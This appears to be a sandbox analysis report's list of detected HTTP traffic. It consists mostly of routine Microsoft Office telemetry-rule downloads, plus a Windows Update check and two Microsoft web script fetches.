Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=sRYCpvG6wEXzcSk&MD=BEDwWVfM HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
